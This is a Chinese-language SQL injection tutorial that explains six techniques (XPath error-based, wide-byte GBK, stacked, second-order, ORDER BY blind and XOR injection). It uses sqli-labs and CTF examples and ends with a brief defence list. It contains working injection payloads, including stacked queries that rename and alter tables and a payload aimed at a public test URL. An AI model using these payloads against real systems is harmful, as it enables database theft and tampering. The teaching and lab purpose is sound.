原理+实战掌握SQL注入
字数 935 2025-08-25 22:58:35

SQL注入攻击原理与实战详解

一、XPath报错注入

原理分析

XPath报错注入利用MySQL的两个XML处理函数:

  • updatexml():对XML进行查询和修改
  • extractvalue():对XML进行查询

关键函数

extractvalue(xml_str, Xpath)  # XML字符串中提取值
updatexml(XML_document, XPath_string, new_value)  # 更新XML文档

报错原理
当构造不合法的XPath语法时,MySQL会报错并显示XPath内容。通过特殊字符(如0x7e即~)触发报错。

实战示例

select extractvalue(1, concat(0x7e, user(), 0x7e));
select updatexml(1, concat(0x7e, version(), 0x7e), 1);

注意事项

  1. 报错信息长度有限制,过长会被截断
  2. 查询同一表时需要嵌套SELECT避免错误

实战案例(sqli-labs 17关)

uname=admin&passwd=1' or updatexml(1, concat(0x7e, database(), 0x7e), 1)#

二、宽字节注入

原理分析

产生条件

  1. 数据库使用GBK等宽字节编码
  2. PHP使用UTF-8编码
  3. 使用了转义函数(addslashes/mysql_real_escape_string)

绕过原理
将转义符\与前一个字符组合成汉字,使引号逃逸。

实战示例

id=1%df' and 1=1%23  # %df与\组合成汉字"運"

实战案例

  1. 测试URL:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'
  2. sqli-labs 32/33关

三、堆叠注入

原理分析

利用分号;执行多条SQL语句。受限于:

  1. API或数据库引擎支持
  2. 执行权限

实战案例(强网杯"随便注")

1'; show databases; #
1'; show tables; #
1'; show columns from `1919810931114514`; #
1'; RENAME TABLE `words` TO `words1`; RENAME TABLE `1919810931114514` TO `words`; ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100); #

四、二次注入

原理分析

两个阶段

  1. 插入恶意数据(被转义)
  2. 引用恶意数据(未转义)

实战案例(sqli-labs 24关)

  1. 注册用户admin'#
  2. 修改密码时SQL变为:
UPDATE users SET passwd='123' WHERE username='admin'#' AND passwd='$oldpwd'

五、Order By注入

原理分析

利用ORDER BY子句可控,通过条件函数实现注入:

  • IF()
  • CASE WHEN
  • IFNULL()
  • 报错函数

注入方法

  1. 布尔盲注:
?sort=if(ascii(substr((select database()),1,1))>100,1,2)
  1. 时间盲注:
?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
  1. 报错注入:
?sort=1 and (updatexml(1,concat(0x7e,(select database())),0));

实战案例(sqli-labs 46关)

?sort=rand(ascii(substr((select database()),1,1))>127)

六、异或注入

原理分析

利用异或运算(^xor):

  • 相同为假(0)
  • 不同为真(1)
  • 与NULL运算结果为NULL

实战应用

检测过滤字符:

?id=1'^(length('union')!=0)^'1
  • 回显正常:字符被过滤
  • 回显错误:字符可用

防御措施

  1. 使用参数化查询
  2. 统一字符编码
  3. 最小权限原则
  4. 输入严格过滤
  5. 错误信息处理

总结

SQL注入方式多样,核心在于理解数据库查询机制和特殊函数的使用。掌握这些技术有助于提升Web安全防护能力。

SQL注入攻击原理与实战详解 一、XPath报错注入 原理分析 XPath报错注入利用MySQL的两个XML处理函数: updatexml() :对XML进行查询和修改 extractvalue() :对XML进行查询 关键函数 : 报错原理 : 当构造不合法的XPath语法时,MySQL会报错并显示XPath内容。通过特殊字符(如0x7e即~)触发报错。 实战示例 注意事项 : 报错信息长度有限制,过长会被截断 查询同一表时需要嵌套SELECT避免错误 实战案例(sqli-labs 17关) 二、宽字节注入 原理分析 产生条件 : 数据库使用GBK等宽字节编码 PHP使用UTF-8编码 使用了转义函数(addslashes/mysql_ real_ escape_ string) 绕过原理 : 将转义符 \ 与前一个字符组合成汉字,使引号逃逸。 实战示例 实战案例 测试URL: http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' sqli-labs 32/33关 三、堆叠注入 原理分析 利用分号 ; 执行多条SQL语句。受限于: API或数据库引擎支持 执行权限 实战案例(强网杯"随便注") 四、二次注入 原理分析 两个阶段 : 插入恶意数据(被转义) 引用恶意数据(未转义) 实战案例(sqli-labs 24关) 注册用户 admin'# 修改密码时SQL变为: 五、Order By注入 原理分析 利用ORDER BY子句可控,通过条件函数实现注入: IF() CASE WHEN IFNULL() 报错函数 注入方法 布尔盲注: 时间盲注: 报错注入: 实战案例(sqli-labs 46关) 六、异或注入 原理分析 利用异或运算( ^ 或 xor ): 相同为假(0) 不同为真(1) 与NULL运算结果为NULL 实战应用 检测过滤字符: 回显正常:字符被过滤 回显错误:字符可用 防御措施 使用参数化查询 统一字符编码 最小权限原则 输入严格过滤 错误信息处理 总结 SQL注入方式多样,核心在于理解数据库查询机制和特殊函数的使用。掌握这些技术有助于提升Web安全防护能力。